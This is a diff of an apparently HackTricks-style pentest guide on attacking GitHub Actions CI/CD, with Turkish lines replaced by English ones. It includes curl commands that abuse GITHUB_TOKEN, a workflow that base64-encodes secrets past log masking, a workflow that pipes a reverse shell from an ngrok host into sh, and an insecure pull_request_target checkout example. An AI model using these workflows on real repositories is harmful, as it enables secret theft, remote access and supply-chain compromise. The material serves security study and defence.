Daha fazla bilgi için [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) adresini kontrol edin.
|
||||
|
||||
## Referanslar
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
- [CodeRabbit'i nasıl istismar ettik: basit bir PR'dan RCE ve 1M depoda yazma erişimine](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop uzantıları (gerekli)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [GitHub Uygulaması ile Kimlik Doğrulama (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [Kimlik doğrulama yapılmış uygulama için kurulumları listele](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Bir uygulama için bir kurulum erişim belirteci oluştur](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,294 +2,308 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Araçlar
|
||||
## Tools
|
||||
|
||||
Aşağıdaki araçlar Github Action workflow'larını bulmak ve hatta zafiyetli olanları tespit etmek için faydalıdır:
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ayrıca kontrol listesine bakın: [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Temel Bilgi
|
||||
## Basic Information
|
||||
|
||||
Bu sayfada şunları bulacaksınız:
|
||||
In this page you will find:
|
||||
|
||||
- Bir saldırganın bir Github Action'a erişmeyi başarması durumunda ortaya çıkabilecek tüm etkilerin **özeti**
|
||||
- Bir action'a **erişim sağlama**'nın farklı yolları:
|
||||
- Action oluşturmak için **permissions** sahibi olmak
|
||||
- **pull request** ile ilişkili tetikleyicilerin kötüye kullanılması
|
||||
- Diğer **external access** tekniklerinin kötüye kullanılması
|
||||
- Zaten ele geçirilmiş bir repodan **Pivoting**
|
||||
- Son olarak, bir action'ı içerden kötüye kullanmak için **post-exploitation** teknikleri hakkında bir bölüm (bahsedilen etkileri yaratmak için)
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
|
||||
## Etkiler Özeti
|
||||
## Impacts Summary
|
||||
|
||||
Github Actions hakkında bir giriş için [**basic information**](../basic-github-information.md#github-actions) bölümünü kontrol edin.
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
Eğer bir **repository** içinde GitHub Actions'ta **rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
|
||||
- Pipeline'a monte edilen **secrets**'i çalabilir ve pipeline'ın ayrıcalıklarını **kötüye kullanarak** AWS ve GCP gibi dış platformlara yetkisiz erişim elde edebilirsiniz.
|
||||
- Dağıtımları (deployments) ve diğer artifaktları (artifacts) tehlikeye atabilirsiniz.
|
||||
- Pipeline varlıkları deploy ediyorsa veya depoluyorsa, nihai ürünü değiştirebilir ve bir supply chain saldırısına olanak sağlayabilirsiniz.
|
||||
- Özel worker'larda (custom workers) kod çalıştırarak hesaplama gücünü kötüye kullanabilir ve diğer sistemlere pivot yapabilirsiniz.
|
||||
- `GITHUB_TOKEN` ile ilişkili izinlere bağlı olarak repository kodunu **üstüne yazabilirsiniz**.
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Bu "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) yönetici bu seçeneği etkinleştirdiğinde verilir:
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu token bir **Github Application**'ın kullanacağı ile aynıdır, dolayısıyla aynı endpoint'lere erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github, bir repo'nun `GITHUB_TOKEN` kullanarak diğer dahili repolara erişebilmesini sağlayacak şekilde GitHub içinde **cross-repository** erişimine izin veren bir [**flow**](https://github.com/github/roadmap/issues/74) yayımlamalıdır.
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
|
||||
Bu token'ın olası **permissions**'larını şuradan görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Token'ın **job tamamlandıktan sonra süresinin dolduğunu** unutmayın.\
|
||||
Bu tokenlar şöyle görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Bu token ile yapabileceğiniz bazı ilginç şeyler:
|
||||
Some interesting things you can do with this token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Bazı durumlarda **github user tokens inside Github Actions envs or in the secrets** bulabileceğinizi unutmayın. Bu tokens size repository ve organization üzerinde daha fazla ayrıcalık sağlayabilir.
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action çıktısında bulunan secrets'leri listele</summary>
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Secrets ile reverse shell elde et</summary>
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Diğer kullanıcıların repository'lerinde bir Github Token'a verilen izinleri, Github Actions'ın **loglarını kontrol ederek** görebilirsiniz:
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## İzinli Çalıştırma
|
||||
## Allowed Execution
|
||||
|
||||
> [!NOTE]
|
||||
> Bu, Github Actions'ı ele geçirmenin en kolay yolu olur; çünkü bu senaryo organizasyonda **yeni bir repo oluşturma** ya da bir repository üzerinde **yazma ayrıcalıklarına** sahip olduğunuzu varsayar.
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
>
|
||||
> Bu durumda sadece [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) bölümüne bakabilirsiniz.
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Repo Oluşturularak Çalıştırma
|
||||
### Execution from Repo Creation
|
||||
|
||||
Organizasyon üyeleri **yeni repo oluşturabiliyor** ve siz Github Actions'ı çalıştırabiliyorsanız, **yeni bir repo oluşturup organizasyon düzeyinde tanımlanmış secrets'leri çalabilirsiniz**.
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Yeni Bir Branch'ten Çalıştırma
|
||||
### Execution from a New Branch
|
||||
|
||||
Eğer zaten yapılandırılmış bir Github Action içeren bir repository'de **yeni bir branch oluşturabiliyorsanız**, onu **değiştirip**, içeriği **yükleyebilir** ve ardından **o action'ı yeni branch'ten çalıştırabilirsiniz**. Bu şekilde **exfiltrate repository and organization level secrets** (ama isimlerini bilmeniz gerekir).
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
> [!WARNING]
|
||||
> Workflow YAML içinde (örneğin, `on: push: branches: [main]`, job conditionals, or manual gates) uygulanan herhangi bir kısıtlama collaborator'lar tarafından düzenlenebilir. Harici bir yaptırım (branch protections, protected environments, and protected tags) yoksa, bir contributor workflow'u kendi branch'inde çalışacak şekilde hedefleyebilir ve mount edilmiş secrets/permissions'ları kötüye kullanabilir.
|
||||
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
|
||||
Değiştirilmiş action'ı **manuel olarak**, bir **PR oluşturulduğunda** veya **kod push edildiğinde** (ne kadar göze batmak istediğinize bağlı olarak) çalıştırılabilir hale getirebilirsiniz:
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Fork'lanmış Yürütme
|
||||
## Forked Execution
|
||||
|
||||
> [!NOTE]
|
||||
> Başka bir repository'nin **Github Action**ını **execute etmesine** izin verebilecek farklı tetikleyiciler vardır. Eğer bu tetiklenebilir action'lar kötü yapılandırılmışsa, bir saldırgan bunları compromise edebilir.
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Workflow tetikleyicisi **`pull_request`**, bazı istisnalarla birlikte her pull request alındığında workflow'u çalıştırır: varsayılan olarak eğer **ilk kez** katkıda bulunuyorsanız, bazı **maintainer**lar workflow'un **run**ını **onaylamak** zorunda olacaktır:
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Varsayılan kısıtlama **ilk kez** katkıda bulunanlar içindir, bu yüzden geçerli bir bug/typo'yu **düzeltip** katkıda bulunarak **diğer PR'ları yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için** gönderebilirsiniz.
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
>
|
||||
> **Bunu denedim ve çalışmıyor**: ~~Başka bir seçenek, projeye katkıda bulunan birinin adıyla bir hesap oluşturup hesabını silmiş gibi yapmak olurdu.~~
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
|
||||
Ayrıca, varsayılan olarak hedef repository'ye **yazma izinlerini** ve **secret'lara erişimi** engeller, bu [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) bölümünde belirtildiği gibi:
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
Bir saldırgan, Github Action tanımını değiştirebilir ve rastgele komutlar çalıştırıp arbitrary actions ekleyebilir. Ancak bahsedilen kısıtlamalar yüzünden secret'ları çalamaz veya repo'yu overwrite edemez.
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Evet, eğer saldırgan PR içinde tetiklenecek github action'ı değiştirirse, kullanılacak olan onun Github Action'ı olur, origin repo'nunki değil!**
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
|
||||
Saldırganın çalışan kod üzerinde kontrolü olduğu için, `GITHUB_TOKEN` üzerinde secret veya yazma izni olmasa bile bir saldırgan örneğin **kötü amaçlı artifact'ler yükleyebilir**.
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
Workflow tetikleyicisi **`pull_request_target`** hedef repository üzerinde **write permission**e ve **secret'lara erişime** sahiptir (ve izin istemez).
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
|
||||
Dikkat edin: workflow tetikleyicisi **`pull_request_target`**, PR tarafından sağlanan bağlamda değil **base bağlamında** çalışır (güvenilmeyen kodu çalıştırmamak için). `pull_request_target` hakkında daha fazla bilgi için [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Ayrıca, bu spesifik tehlikeli kullanım hakkında daha fazla bilgi için şu [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)u inceleyin.
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Çalıştırılan workflow'un **base**de tanımlanan ve **PR içinde olmayan** olanı olması nedeniyle **`pull_request_target`** kullanmanın **güvenli** görünebileceğini düşünebilirsiniz, fakat **güvenli olmadığı** birkaç durum vardır.
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
|
||||
Ve bu biri **secret'lara erişim**e sahip olacak.
|
||||
An this one will have **access to secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir workflow tamamlandığında, istenildiğinde veya in_progress durumunda başka bir workflow'u çalıştırmaya izin verir.
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
|
||||
Bu örnekte, ayrı "Run Tests" workflow'u tamamlandığında çalışacak şekilde bir workflow yapılandırılmıştır:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Ayrıca, belgelere göre: `workflow_run` etkinliği tarafından başlatılan workflow, önceki workflow başlatılmamış olsa bile **secrets'e erişebiliyor ve write tokens oluşturabiliyor**.
|
||||
|
||||
Bu tür bir workflow, eğer bir dış kullanıcı tarafından **`pull_request`** veya **`pull_request_target`** ile **tetiklenebilen** bir **workflow**'a bağlıysa saldırıya uğrayabilir. Birkaç savunmasız örnek [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** İlkinde **`workflow_run`** tarafından tetiklenen workflow, saldırganın kodunu indirir: `${{ github.event.pull_request.head.sha }}`
|
||||
İkincisi ise **untrusted** koddaki bir **artifact**'i **`workflow_run`** workflow'una **geçirmek** ve bu artifact içeriğini **vulnerable to RCE** olacak şekilde kullanmaktır.
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: pull_request'ten çalıştırıldığında kullanılan/indirilen kodun origin'den mi yoksa forked PR'den mi olduğunu kontrol et
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
|
||||
## Abusing Forked Execution
|
||||
|
||||
Dış bir saldırganın bir github workflow'unu çalıştırmasını sağlayabileceği tüm yolları anlattık; şimdi bu çalıştırmalar kötü yapılandırılmışsa nasıl kötüye kullanılabileceklerine bakalım:
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
|
||||
### Untrusted checkout execution
|
||||
|
||||
Eğer **`pull_request`** durumundaysa, workflow **PR'nin context'inde** çalıştırılır (yani **malicious PR's code** çalıştırılır), ancak önce birinin **authorize etmesi gerekir** ve bazı [sınırlamalar](#pull_request) ile çalışır.
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request).
|
||||
|
||||
Eğer bir workflow **`pull_request_target` or `workflow_run`** kullanıyor ve **`pull_request_target` or `pull_request`** ile tetiklenebilen bir workflow'a bağlıysa, orijinal repo'nun kodu çalıştırılır; bu yüzden **attacker executed kodu kontrol edemez**.
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, eğer **action**'ın **explicit PR checkou**t yapan bir adımı varsa ve **kodu PR'den alıyorsa** (base'den değil), saldırgan tarafından kontrol edilen kod kullanılacaktır. Örneğin (PR kodunun indirildiği satır 12'yi kontrol edin):
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Potansiyel olarak **untrusted kod `npm install` veya `npm build` sırasında çalıştırılıyor** çünkü build script'leri ve referans verilen **packages** PR'nin yazarı tarafından kontrol ediliyor.
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir github dork ile vulnerable actions aramak için: `event.pull_request pull_request_target extension:yml` ancak, action insecure yapılandırılmış olsa bile job'ları güvenli çalıştıracak şekilde yapılandırmanın farklı yolları vardır (örneğin PR'yi oluşturan actor hakkında conditionals kullanmak gibi).
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
PR'yi oluşturan **user** tarafından **kontrol edilen** bazı [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın. Eğer github action bu **data'yı herhangi bir şey çalıştırmak için** kullanıyorsa, bu **arbitrary code execution**'a yol açabilir:
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -297,123 +311,131 @@ gh-actions-context-script-injections.md
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
